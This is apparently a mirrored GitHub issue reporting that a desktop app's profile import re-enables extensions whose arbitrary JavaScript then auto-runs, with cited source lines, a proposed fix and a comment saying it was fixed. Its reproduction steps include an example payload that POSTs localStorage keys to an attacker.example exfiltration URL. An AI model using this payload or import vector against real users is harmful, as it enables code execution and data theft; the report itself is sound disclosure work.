[GH-ISSUE #2366] [Issue]: Profile import silently restores extensions with enabled:true and arbitrary JS, auto-executing imported code on render #1165

Closed
opened 2026-10-21 05:28:12 +07:00 by bsakaguchi · 2 comments
Owner

Originally created by @Romuromylus on GitHub (Jun 5, 2026).
Original GitHub issue: https://github.com/Pasta-Devs/Marinara-Engine/issues/2366

Originally assigned to: @Romuromylus on GitHub.

Summary

Severity: Medium — injection / arbitrary code execution.

Profile import restores extensions with their enabled: true flag and js body intact, and the extension loader auto-executes every enabled extension's JS as a blob module on the next render. So importing a malicious .marinara / profile envelope drops an enabled: true extension whose arbitrary JS runs with full webview privileges, gated only by the single bulk profile-import confirmation (which advertises extensions as a count, not as executable code).

Expected behavior

Imported extensions should land disabled (enabled: false) so their code only runs after the user explicitly toggles them on in Settings — mirroring how connections already get apiKey redacted on import. The import confirm dialog should surface that the file contains executable extension code.

Actual behavior

The extension loader auto-runs enabled extensions (src/app/providers/CustomThemeInjector.tsx:93-241, sink at :218-222):

for (const ext of installedExtensions) {
  if (!ext.enabled || !ext.js) continue;
  ...
  const moduleSource = buildExtensionModuleSource(apiKey, ext.name, ext.js);
  const blob = new Blob([moduleSource], { type: "text/javascript" });
  objectUrl = URL.createObjectURL(blob);
  void import(/* @vite-ignore */ objectUrl)  // arbitrary imported JS auto-runs
}

The InstalledExtension type doc (src/engine/contracts/types/extension.ts:5-12) confirms extension JS "is executed in the page via the existing blob-URL loader in CustomThemeInjector.tsx." The Rust profile import (commands/storage/profile.rs) accepts the extensions array shape-only (validate_native_profile_import:835-871), runs normalize_typed_json_fields("extensions", ...) which is a no-op for enabled/js (contracts.rs:350 — extensions uses empty field/default sets), and pushes the rows verbatim. Legacy import maps installed_extensions → extensions (profile/legacy.rs:42). So enabled: true + arbitrary js survive untouched and auto-execute. The only consent is the bulk confirm dialog (ProfileImportSection.tsx:275-303), which lists extensions as a count with no warning that the file carries executable code.

By contrast, the same import path does defensively neutralize one field: connections get apiKeyEncrypted cleared on import. Extensions get no equivalent reset of enabled — the exact fix-pattern-already-in-repo inconsistency.

Steps to reproduce

  1. Build a .marinara / profile envelope whose extensions collection contains a row with enabled: true and js: "fetch('https://attacker.example/exfil',{method:'POST',body:JSON.stringify(Object.keys(localStorage))})" (or any payload).
  2. Import it via the full-profile import flow and accept the bulk confirm dialog.
  3. On the next render, observe the extension JS execute automatically with no per-extension prompt.

Impact area

  • App shell, navigation, startup, or providers
  • Tauri/Rust storage, assets, LLM, integrations, security, imports, or HTTP runtime

Environment

  • Branch or commit: refactor @ 330f69a8
  • Run mode: Tauri desktop (also the remote/Docker runtime, since profile import exists there)
  • OS + version: not relevant (static source audit)
  • Node + pnpm versions: not relevant
  • Rust version, if relevant: not relevant
  • Remote Runtime URL configured? not relevant
  • Provider, model, or integration, if relevant: not relevant — triggered by imported profile data

Logs, screenshots, or video

Static source audit. Cited: sink src/app/providers/CustomThemeInjector.tsx:93-241 (:218-222); type doc src/engine/contracts/types/extension.ts:5-12; import commands/storage/profile.rs:835-871, :913, contracts.rs:350, profile/legacy.rs:42; consent gap ProfileImportSection.tsx:275-303.

Regression notes

Found via static audit; not a regression. Main's packages/client/src/components/layout/CustomThemeInjector.tsx is the byte-identical loader and also auto-imports enabled-extension JS, and main's profile import (packages/server/src/routes/backup.routes.ts:531-552) inserts extensions rows verbatim (its only import special-casing is clearing api_connections.apiKeyEncrypted). Main does not force extensions.enabled = false either, so this is a pre-existing parity gap shared by both builds, not a refactor regression.

Additional context

On profile import, force imported extensions to enabled: false (never honor an imported enabled: true), so extension code only runs after the user explicitly toggles it on. Optionally, surface in the import confirm dialog that the file contains executable extensions and require separate opt-in. This mirrors the connection apiKey redaction already applied on the same path, and the theme isActive reset recommended in the companion theme-CSS issue.

Template check

  • I DID NOT read this template and provide the requested details.
Originally created by @Romuromylus on GitHub (Jun 5, 2026). Original GitHub issue: https://github.com/Pasta-Devs/Marinara-Engine/issues/2366 Originally assigned to: @Romuromylus on GitHub. ## Summary **Severity: Medium — injection / arbitrary code execution.** Profile import restores extensions with their `enabled: true` flag and `js` body intact, and the extension loader auto-executes every enabled extension's JS as a blob module on the next render. So importing a malicious `.marinara` / profile envelope drops an `enabled: true` extension whose arbitrary JS runs with full webview privileges, gated only by the single bulk profile-import confirmation (which advertises extensions as a count, not as executable code). ## Expected behavior Imported extensions should land disabled (`enabled: false`) so their code only runs after the user explicitly toggles them on in Settings — mirroring how connections already get `apiKey` redacted on import. The import confirm dialog should surface that the file contains executable extension code. ## Actual behavior The extension loader auto-runs enabled extensions (`src/app/providers/CustomThemeInjector.tsx:93-241`, sink at `:218-222`): ```tsx for (const ext of installedExtensions) { if (!ext.enabled || !ext.js) continue; ... const moduleSource = buildExtensionModuleSource(apiKey, ext.name, ext.js); const blob = new Blob([moduleSource], { type: "text/javascript" }); objectUrl = URL.createObjectURL(blob); void import(/* @vite-ignore */ objectUrl) // arbitrary imported JS auto-runs } ``` The `InstalledExtension` type doc (`src/engine/contracts/types/extension.ts:5-12`) confirms extension JS "is executed in the page via the existing blob-URL loader in CustomThemeInjector.tsx." The Rust profile import (`commands/storage/profile.rs`) accepts the `extensions` array shape-only (`validate_native_profile_import:835-871`), runs `normalize_typed_json_fields("extensions", ...)` which is a no-op for `enabled`/`js` (`contracts.rs:350` — `extensions` uses empty field/default sets), and pushes the rows verbatim. Legacy import maps `installed_extensions` → `extensions` (`profile/legacy.rs:42`). So `enabled: true` + arbitrary `js` survive untouched and auto-execute. The only consent is the bulk confirm dialog (`ProfileImportSection.tsx:275-303`), which lists `extensions` as a count with no warning that the file carries executable code. By contrast, the same import path **does** defensively neutralize one field: connections get `apiKeyEncrypted` cleared on import. Extensions get no equivalent reset of `enabled` — the exact fix-pattern-already-in-repo inconsistency. ## Steps to reproduce 1. Build a `.marinara` / profile envelope whose `extensions` collection contains a row with `enabled: true` and `js: "fetch('https://attacker.example/exfil',{method:'POST',body:JSON.stringify(Object.keys(localStorage))})"` (or any payload). 2. Import it via the full-profile import flow and accept the bulk confirm dialog. 3. On the next render, observe the extension JS execute automatically with no per-extension prompt. ## Impact area - [x] App shell, navigation, startup, or providers - [x] Tauri/Rust storage, assets, LLM, integrations, security, imports, or HTTP runtime ## Environment - Branch or commit: refactor @ 330f69a8 - Run mode: Tauri desktop (also the remote/Docker runtime, since profile import exists there) - OS + version: not relevant (static source audit) - Node + pnpm versions: not relevant - Rust version, if relevant: not relevant - Remote Runtime URL configured? not relevant - Provider, model, or integration, if relevant: not relevant — triggered by imported profile data ## Logs, screenshots, or video Static source audit. Cited: sink `src/app/providers/CustomThemeInjector.tsx:93-241` (`:218-222`); type doc `src/engine/contracts/types/extension.ts:5-12`; import `commands/storage/profile.rs:835-871`, `:913`, `contracts.rs:350`, `profile/legacy.rs:42`; consent gap `ProfileImportSection.tsx:275-303`. ## Regression notes Found via static audit; **not a regression**. Main's `packages/client/src/components/layout/CustomThemeInjector.tsx` is the byte-identical loader and also auto-imports enabled-extension JS, and main's profile import (`packages/server/src/routes/backup.routes.ts:531-552`) inserts `extensions` rows verbatim (its only import special-casing is clearing `api_connections.apiKeyEncrypted`). Main does not force `extensions.enabled = false` either, so this is a pre-existing parity gap shared by both builds, not a refactor regression. ## Additional context On profile import, force imported extensions to `enabled: false` (never honor an imported `enabled: true`), so extension code only runs after the user explicitly toggles it on. Optionally, surface in the import confirm dialog that the file contains executable extensions and require separate opt-in. This mirrors the connection `apiKey` redaction already applied on the same path, and the theme `isActive` reset recommended in the companion theme-CSS issue. ## Template check - [ ] I DID NOT read this template and provide the requested details.
bsakaguchi 2026-10-21 05:28:12 +07:00
Author
Owner

@Romuromylus commented on GitHub (Jun 5, 2026):

Companion to #2365 (theme CSS auto-activation). Connections already get their apiKey cleared on import on this exact path, so the fix-pattern for neutralizing imported state is already in the repo — extensions just need the same treatment (force enabled:false).

<!-- gh-comment-id:4635405610 --> @Romuromylus commented on GitHub (Jun 5, 2026): Companion to #2365 (theme CSS auto-activation). Connections already get their `apiKey` cleared on import on this exact path, so the fix-pattern for neutralizing imported state is already in the repo — extensions just need the same treatment (force `enabled:false`).
Author
Owner

@Romuromylus commented on GitHub (Jun 6, 2026):

Fixed by #2417, merged into refactor.

<!-- gh-comment-id:4637902683 --> @Romuromylus commented on GitHub (Jun 6, 2026): Fixed by #2417, merged into `refactor`.
Sign in to join this conversation.
No milestone
No project
No assignees
1 participant
Notifications
Due date
The due date is invalid or out of range. Please use the format "yyyy-mm-dd".

No due date set.

Dependencies

No dependencies set.

Reference
Pasta-Devs/Marinara-Engine#1165
No description provided.